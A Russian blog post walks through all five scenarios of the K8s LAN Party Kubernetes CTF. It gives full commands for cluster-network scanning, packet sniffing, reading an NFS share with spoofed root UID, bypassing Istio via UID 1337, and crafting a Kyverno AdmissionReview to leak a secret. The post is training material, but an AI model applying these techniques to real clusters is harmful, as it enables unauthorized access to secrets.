Я продолжаю тестировать инструменты, которые помогают научиться защищать кластеры Kubernetes. На этот раз взглянем на продукт от разработчиков из компании Wiz ResearchKubernetes LAN Party, челлендж по выполнению CTF-сценариев. Выход инструмента был приурочен к прошедшей в марте этого года конференции KubeCon EMEA 2024.

В статье я расскажу, зачем нужен этот инструмент, а также пройду все сценарии, которые предлагает K8s LAN Party, и напишу свое мнение о том, насколько это классный инструмент и кому он будет полезен.

Не так давно я делал обзор Simulator — платформы для обучения инженеров безопасности Kubernetes с помощью CTF-сценариев.

Что такое K8s LAN Party и зачем он нужен

K8s LAN Party — это набор из пяти CTF-сценариев, в которых пользователю нужно найти уязвимости в кластере Kubernetes. Каждый сценарий посвящен проблемам сети Kubernetes, с которыми инженеры Wiz Research сталкивались в реальной практике. Инструмент поможет участникам углубить свои знания в области безопасности кластера Kubernetes: у них будет возможность встать на место злоумышленников и изучить ошибки в конфигурациях, что пригодится в работе.

В K8s LAN Party кластер уже развернут. Игроку нужно лишь выполнять команды в терминале прямо в браузере. А если пользователь зарегистрируется, его результат будет отражаться в общей таблице лидеров и после прохождения челленджа он получит сертификат об участии.

В K8s LAN Party следующие правила для выполнения заданий:

  • Выполнять сценарии можно в любом порядке.

  • Максимальный результат за выполнение задания — 10 баллов. Но еще можно воспользоваться двумя подсказками. За их использование с итогового результата будут сниматься баллы,

  • Флаги, которые нужно находить в каждом сценарии, имеют формат wiz_k8s_lan_party{*}. Его нужно указать в поле ввода на странице задания:

После выбора задания появляется терминал, в котором нужно будет выполнить команды:

Разберём каждый сценарий: пойдём по порядку и начнём с Recon.

Сценарий №1: Recon

В этом сценарии мы попали в скомпрометированный под Kubernetes, где должны найти скрытые внутренние сервисы. Для выполнения задачи у нас есть утилита dnscan.

Для начала узнаем, в какой подсети мы находимся:

player@wiz-k8s-lan-party:~$ printenv 
HISTSIZE=2048
PWD=/home/player
HOME=/home/player
KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
...

IP-адрес нашего пода — 10.100.0.1. Выполним сканирование подсети 10.100.0.0/16:

player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16
34997 / 65536 [--------------------------------------------------------------------->____________________________________________________________] 53.40% 982 p/s10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local.
65430 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.84% 982 p/s10.100.136.254 -> getflag-service.k8s-lan-party.svc.cluster.local.
65536 / 65536 [---------------------------------------------------------------------------------------------------------------------------------] 100.00% 985 p/s

Утилита нашла сервис getflag-service. Выполним запрос к нему:

player@wiz-k8s-lan-party:~$ curl 
getflag-service.k8s-lan-party.svc.cluster.local
wiz_k8s_lan_party{<flag>}

Мы нашли флаг. Указываем его в поле ввода на странице задания и получаем успех:

Сценарий №2: Finding neighbours

Авторы пишут, что в нашем окружении затаился sidecar-контейнер, который, возможно, передаёт какие-то чувствительные данные. Снова воспользуемся утилитой dnscan, может быть, она найдёт какие-нибудь дополнительные сервисы:

player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16
43867 / 65536 [--------------------------------------------------------------------------------------->__________________________________________] 66.94% 984 p/s10.100.171.123 reporting-service.k8s-lan-party.svc.cluster.local.
65330 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.69% 984 p/s10.100.171.123 -> reporting-service.k8s-lan-party.svc.cluster.local.
65528 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.99% 984 p/splayer@wiz-k8s-lan-party:~$ curl reporting-service.k8s-lan-party.svc.cluster.local
player@wiz-k8s-lan-party:~$ 

На этот раз curl к сервису нам ничего не дал. Прослушаем весь трафик, который ходит внутри пода и запишем его в дамп-файл:

player@wiz-k8s-lan-party:~$ tcpdump -s 0 -n -w dump.pcap
tcpdump: listening on ns-c75457, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C28 packets captured
28 packets received by filter
0 packets dropped by kernel

Теперь поищем что-нибудь интересное в дампе. Мы знаем, что флаг, который мы ищем, должен называться wiz_k8s_lan_party:

player@wiz-k8s-lan-party:~$ tcpdump -r dump.pcap -A | grep wiz_k8s_lan_party
reading from file dump.pcap, link-type EN10MB (Ethernet), snapshot length 262144
wiz_k8s_lan_party{<flag>}
wiz_k8s_lan_party{<flag>}

Ещё один флаг найден. Не забываем скопировать его для выполнения задания и вставить в поле ввода на странице задания.

Сценарий №3: Data leakage

В данном сценарии используется система хранения данных, в которой контроль доступа является сетевым. Видимо, к поду примонтирована NFS-шара. Проверим это:

player@wiz-k8s-lan-party:~$ df -h
Filesystem                                          Size  Used Avail Use% Mounted on
overlay                                             300G   24G  277G   8% /
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/  8.0E     0  8.0E   0% /efs
tmpfs                                                60G   12K   60G   1% /var/run/secrets/kubernetes.io/serviceaccount
tmpfs                                                64M     0   64M   0% /dev/null

Действительно, к разделу /efs примонтирована NFS-шара. Что лежит в этой директории? Посмотрим:

player@wiz-k8s-lan-party:~$ ls -lah /efs
total 8.0K
drwxr-xr-x 2 root   root   6.0K Mar 11 11:43 .
drwxr-xr-x 1 player player   51 Mar 25 08:27 ..
---------- 1 daemon daemon   73 Mar 11 13:52 flag.txt
player@wiz-k8s-lan-party:~$ cat /efs/flag.txt 
cat: /efs/flag.txt: Permission denied

Здесь лежит нужный нам флаг, однако у нас не хватает прав для его просмотра. Воспользуемся утилитой nfs-cat для просмотра содержимого файла: не забываем указать версию NFS, UID и GID:

player@wiz-k8s-lan-party:~$ nfs-cat "nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4&uid=0&gid=0"
wiz_k8s_lan_party{<flag>}

Найден очередной флаг. Идём дальше.

Сценарий №4: Bypassing Boundaries

Описание задачи говорит, что в данном окружении используется service-mesh, а также применено ограничивающее правило Istio:

apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: istio-get-flag
  namespace: k8s-lan-party
spec:
  action: DENY
  selector:
    matchLabels:
      app: "{flag-pod-name}"
  rules:
  - from:
    - source:
        namespaces: ["k8s-lan-party"]
    to:
    - operation:
        methods: ["POST", "GET"]

Воспользуемся утилитой dnscan для поиска сервисов в данном окружении:

root@wiz-k8s-lan-party:~# dnscan -subnet 10.100.0.0/16
57388 / 65536 [----------------------------------------------------------------------------------------------------------------->________________] 87.57% 988 p/s10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local.
65491 / 65536 [--------------------------------------------------------------------------------------------------------------------------------->] 99.93% 988 p/s10.100.224.159 -> istio-protected-pod-service.k8s-lan-party.svc.cluster.local.
root@wiz-k8s-lan-party:~# curl istio-protected-pod-service.k8s-lan-party.svc.cluster.local
RBAC: access denied

Найден сервис istio-protected-pod-service, однако попытка выполнить к нему запрос запрещена согласно политике Istio.

Здесь можно вспомнить одну интересную уязвимость Istio, о которой писали наши коллеги из Luntry. Благодаря этой уязвимости злоумышленнику, попавшему внутрь пода, в котором работает Istio sidecar, достаточно установить UID или GID, равный 1337. Это поможет обойти фильтрацию трафика Istio. Попробуем это сделать:

root@wiz-k8s-lan-party:~# su istio
$ curl istio-protected-pod-service.k8s-lan-party.svc.cluster.local
wiz_k8s_lan_party{<flag>}

Остался последний флаг.

Сценарий №5: Lateral movement

В окружении для данного сценария используется контроллер допуска Kyverno. Нам дают kyverno-политику, которая добавляет переменную FLAG в созданные поды в пространстве имён sensitive-ns:

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: apply-flag-to-env
  namespace: sensitive-ns
spec:
  rules:
    - name: inject-env-vars
      match:
        resources:
          kinds:
            - Pod
      mutate:
        patchStrategicMerge:
          spec:
            containers:
              - name: "*"
                env:
                  - name: FLAG
                    value: "{flag}"

Попробуем создать какой-нибудь под. Опишем стандартный манифест для пода nginx и применим его в пространстве имён sensitive-ns:

apiVersion: v1
kind: Pod
metadata:
  name: pod
  namespace: sensitive-ns
spec:
  containers:
  - name: nginx
    image: nginx:latest
    ports:
    - containerPort: 80

К сожалению, у нас нет прав для создания подов в этом пространстве имён:

player@wiz-k8s-lan-party:~$ kubectl apply -f pod.yaml 
2024/03/31 18:27:19 Starlark failed to allocate 4GB address space: cannot allocate memory. Integer performance may suffer.
Error from server (Forbidden): error when retrieving current configuration of:
Resource: "/v1, Resource=pods", GroupVersionKind: "/v1, Kind=Pod"
Name: "pod", Namespace: "sensitive-ns"
from server for: "pod.yaml": pods "pod" is forbidden: User "system:serviceaccount:k8s-lan-party:default" cannot get resource "pods" in API group "" in the namespace "sensitive-ns"

Кажется, пора воспользоваться подсказками. Это англоязычный проект, поэтому для статьи мы перевели их на русский язык:

Подсказка №1

Нужна помощь в составлении AdmissionReview-запросов? Воспользуйтесь https://github.com/anderseknert/kube-review

Подсказка №2 

Это упражнение состоит из трех компонентов: имени хоста kyverno (можно найти с помощью dnscan), соответствующего HTTP-пути (можно посмотреть в исходном коде Kyverno) и запроса AdmissionReview.

Получается, нам нужно найти доступные службы kyverno. Просканируем сеть пода с помощью утилиты dnscan:

player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16
10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local.
10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local.
10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local.
10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.

Нам нужно отправить запрос к сервису kyverno-svc.kyverno.svc.cluster.local, который создаст под и изменит его, добавив переменную согласно политике apply-flag-to-env. Для этого нужно создать AdmissionReview-запрос на эндпоинт /mutate, который вызовет mutating webhook

Составляем конфиг для AdmissionReview в соответствии с документацией либо можем воспользоваться инструментом kube-review. Указываем обязательные поля, а также главное для нас в этой задаче — переменную FLAG, которую мы увидим после применения запроса:

{
    "apiVersion": "admission.k8s.io/v1",
    "kind": "AdmissionReview",
    "request": {
      "kind": {
        "group": "",
        "version": "v1",
        "kind": "Pod"
      },
      "resource": {
        "group": "",
        "version": "v1",
        "resource": "pods"
      },
      "requestKind": {
        "group": "",
        "version": "v1",
        "kind": "Pod"
      },
      "requestResource": {
        "group": "",
        "version": "v1",
        "resource": "pods"
      },
      "namespace": "sensitive-ns",
      "operation": "CREATE",
      "object": {
        "apiVersion": "v1",
        "kind": "Pod",
        "metadata": {
          "name": "pod",
          "namespace": "sensitive-ns"
        },
        "spec": {
          "containers": [
            {
              "name": "nginx",
              "image": "nginx:latest",
              "env": [
                {
                  "name": "FLAG",
                  "value": "{flag}"
                }
              ]
            }
          ]
        }
      }
    }
  }

Сделаем вызов к сервису kyverno:

player@wiz-k8s-lan-party:~$ curl -k -X POST https://kyverno-svc.kyverno.svc.cluster.local/mutate -H "Content-Type: application/json" --data '<json>'

В результате мы получили response, где в закодированном формате Base64 содержится интересующая нас информация:

"response": {
    "uid": "",
    "allowed": true,
    "patch": "W3sib3AiOiJyZXBsYWNlIiwicGF0aCI6Ii9zcGVjL2NvbnRhaW5lcnMvMC9lbnYvMC92YWx1ZSIsInZhbHVlIjoid2l6X2s4c19sYW5fcGFydHl7eW91LWFyZS1rOHMtbmV0LW1hc3Rlci13aXRoLWdyZWF0LXBvd2VyLXRvLW11dGF0ZS15b3VyLXdheS10by12aWN0b3J5fSJ9LCB7InBhdGgiOiIvbWV0YWRhdGEvYW5ub3RhdGlvbnMiLCJvcCI6ImFkZCIsInZhbHVlIjp7InBvbGljaWVzLmt5dmVybm8uaW8vbGFzdC1hcHBsaWVkLXBhdGNoZXMiOiJpbmplY3QtZW52LXZhcnMuYXBwbHktZmxhZy10by1lbnYua3l2ZXJuby5pbzogcmVwbGFjZWQgL3NwZWMvY29udGFpbmVycy8wL2Vudi8wL3ZhbHVlXG4ifX1d",
    "patchType": "JSONPatch"
  }

В этой строке содержится в том числе и наш флаг. Вставляем его в поле для ввода и завершаем наш сценарий.

Сервис поздравляет нас с прохождением, и теперь можно получить сертификат:

Итоги

По сравнению с Simulator, который мы обозревали ранее, K8s LAN Party проще по функциональности, так как это просто челлендж с ограниченным набором задач. Небольшие трудности могут возникнуть только на сценарии №5. При этом представленные задания были довольно интересными. 

В первую очередь я рекомендую пройти K8s LAN Party начинающим инженерам, которые интересуются безопасностью кластеров Kubernetes. Но специалистам более высокого уровня тоже будет интересно поработать с представленными в сценариях уязвимостями.

P. S.

Читайте также в нашем блоге:

Комментарии (2)


  1. Fatsolko
    26.04.2024 05:59

    А то что curl и dnscan есть в поде или их там можно установить, это допущение сценария?


    1. lawellet Автор
      26.04.2024 05:59

      Да, в первом задании авторы явно говорят, что предустановили в под dnscan. С curl'ом также - допущение сценария.